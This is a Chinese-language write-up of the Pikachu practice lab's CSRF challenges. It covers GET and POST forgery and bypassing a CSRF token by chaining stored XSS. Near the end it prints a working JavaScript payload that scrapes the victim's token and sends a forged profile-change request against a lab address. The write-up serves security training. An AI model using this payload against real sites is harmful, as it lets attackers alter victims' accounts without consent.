pikachu靶场,通过存储型xss绕过csrf题目token检查 2023-02-11 16:07:03 所属地 四川省 pikachu\_csrf ============= csrf(get) --------- allen登录,密码为123456 这里数据库报错,这里是因为php版本不兼容,在php7中,MYSQL\_ASSOC不再是一个常量,将 MYSQL\_ASSOC改为MYSQLI\_ASSOC,即通过mysqli的方式提取数组,而不再是mysql 。题目的源代码中使用了mysqli\_fetch\_array函数,但参数用的是MYSQL\_ASSOC,故而报错。 将`csrf_get_edit.php`中70行`MYSQL_ASSOC`改为`MYSQLI_ASSOC` ![image.png](https://image.3001.net/images/20230211/1676102095_63e749cfd142b68f2602b.png) ![image.png](https://image.3001.net/images/20230211/1676102114_63e749e212c5577199297.png) 修改电话号码为15566667777,bp抓包查看,可以看到修改的数据直接在get请求里,似乎没有其他验证 ![image.png](https://image.3001.net/images/20230211/1676102126_63e749eebe655e70777ce.png) ![image.png](https://image.3001.net/images/20230211/1676102139_63e749fba2c4a6b8e5da3.png) 尝试在此处把电话修改为19988887777,forward ![image.png](https://image.3001.net/images/20230211/1676102191_63e74a2f903661135f1d7.png) 成功修改为19988887777,说明csrf可以利用 那么可以通过bp生成csrf POC ![image.png](https://image.3001.net/images/20230211/1676102209_63e74a41ba64a49b3e4e0.png) 假如此处攻击者A要将allen的地址修改为home,那么可以直接在poc中进行修改,然后将poc放到自己的服务器中。 攻击者A登录后再通过存储型xss将poc的链接植入到被攻击者allen可能点击的地方,这里用pikachu的存储型xss题目作为示例,allen点击后,攻击者A就能修改allen的用户信息 ![image.png](https://image.3001.net/images/20230211/1676102236_63e74a5c23710fe754dfa.png) ![image.png](https://image.3001.net/images/20230211/1676102250_63e74a6aac17c569c7902.png) 植入存储型xss ![image.png](https://image.3001.net/images/20230211/1676102266_63e74a7a0f52f719eb02c.png) 用户点击后 ![image.png](https://image.3001.net/images/20230211/1676102279_63e74a876f0d03b64bde6.png) 再次点击,allen就会在不知情的情况下,修改自身的信息 ![image.png](https://image.3001.net/images/20230211/1676102307_63e74aa3bee43cf4f9249.png) 修改成功 csrf(post) ---------- 出现报错,将`csrf_post_edit.php`源代码中的70行`MYSQL_ASSOC`改为`MYSQLI_ASSOC` 修改个人信息,电话号码修改为16611112222,抓包查看,发现修改的数据通过post传递 ![image.png](https://image.3001.net/images/20230211/1676102322_63e74ab23b986d6ef3d41.png) 那么这里将电话修改为18877776666,forward ![image.png](https://image.3001.net/images/20230211/1676102351_63e74acfc5eb3ff3fd420.png) 修改成功 此处的利用方式与get型相同,构造poc放到另一站点,然后通过存储型xss将链接植入到被攻击者可能点击的地方。与get型区别在于post型的poc中表单通过post传参。 csrf token ---------- 报错,同上,修改`token_get_edit.php`源代码,76行`MYSQL_ASSOC`改为`MYSQLI_ASSOC` 将住址修改为china,抓包查看,发现修改的数据通过get传递,数据中多了一个token值 ![image.png](https://image.3001.net/images/20230211/1676102369_63e74ae11acaf93e7b3e0.png) 这里进行了token的校验,而上述两个场景都没有进行token校验。 **区别在于:** 无token校验时,攻击者可以先修改自己的信息,观察请求,从而构造出修改被攻击者信息的请求。有token校验时,攻击者无法通过查看自己修改信息的请求,来获取到被攻击者的token,也就无法构造修改被攻击者信息的请求。 攻击者在这种情况下发起csrf攻击的关键在于获取被攻击者token,只要拿到了一个有效token,就和之前的场景一样了。 bp抓包,点击修改个人信息,到修改完成,一共发送了三个请求 ![image.png](https://image.3001.net/images/20230211/1676102384_63e74af068b17c7ed3ac1.png) 第一个请求 ![image.png](https://image.3001.net/images/20230211/1676102395_63e74afbce4406ac8bc1b.png) 点击submit ![image.png](https://image.3001.net/images/20230211/1676102416_63e74b10775ded2ae3745.png) 第二个请求,携带了token,每次点击,token都不同 ![image.png](https://image.3001.net/images/20230211/1676102429_63e74b1dabbd0c9a14aad.png) 第三个请求 ![image.png](https://image.3001.net/images/20230211/1676102441_63e74b297cc58e73d5299.png) 说明token可能是在进入修改页面时获取的,查看进入修改页面时的响应,有个隐藏标签存放了token ![image.png](https://image.3001.net/images/20230211/1676102454_63e74b36170e4a3cc423c.png) 攻击者知道获取token的时间和token在页面中的位置后,可以通过如下方式尝试绕过: 攻击者通过存储型xss植入恶意代码,其中包含一个js脚本。该脚本执行两步操作,先构造一个不带参数的请求给修改信息的页面,服务器回返回一个token,再构造一个请求,携带要修改的信息和返回的token,实现信息修改。**整个过程发生在被攻击者登录的状态,攻击者在不知道被攻击者token的情况下,修改了被攻击者的信息**。 引入xss植入恶意代码,因为浏览器同源策略,不允许运行其他域名下的js脚本,故而此处攻击者无法直接执行自己页面上的js脚本。可行的方式是写一个载入js脚本,通过存储型xss,直接植入或者是通过``引入。这里可以直接用pikachu的存储型xss题目辅助实现,脚本注入后,任意用户进入该界面时,浏览器都会执行攻击者的js代码。 js脚本csrf\_token.js 将地址修改为myhome //1、发GET请求获取token var tokenUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php'; var count = 0; // 实例化XMLHttpRequest,用于发送AJAX请求 xmlhttp = new XMLHttpRequest(); // 当请求的状态发生变化时,触发执行代码 xmlhttp.onreadystatechange = function() { // 状态码:0: 请求未初始化,1: 服务器连接已建立,2: 请求已接收,3: 请求处理中,4: 请求已完成,且响应已就绪 if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { // 取得请求的响应,并从响应中通过正则提取Token var text = xmlhttp.responseText; // var regex = /token\" value\=\"(.*?)\" \/\>/; var match = text.match(regex); // alert(match[1]); var token = match[1]; // 发送修改密码的语法 //2、发GET请求,构造请求参数,利用前一个请求获取的token值,实现传参,从而修改密码 var changeUrl = 'http://192.168.248.128:81/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=18877776666&add=myhome&email=allen%40pikachu.com&token='+token+'&submit=submit'; if (count == 0) { count = 1; // 只发送一次,否则会多次发送 xmlhttp.open("GET",changeUrl,false); // false 代表同步方式发送 xmlhttp.send(); } } }; xmlhttp.open("GET",tokenUrl, false); xmlhttp.send(); **存储型xss直接植入**: 提示内容过长 **xss通过src引入**: ![image.png](https://image.3001.net/images/20230211/1676102476_63e74b4c4ba1e373a2cae.png) 修改成功 \# CSRF漏洞利用 \# 存储型XSS \# csrf\_token \# 靶场实战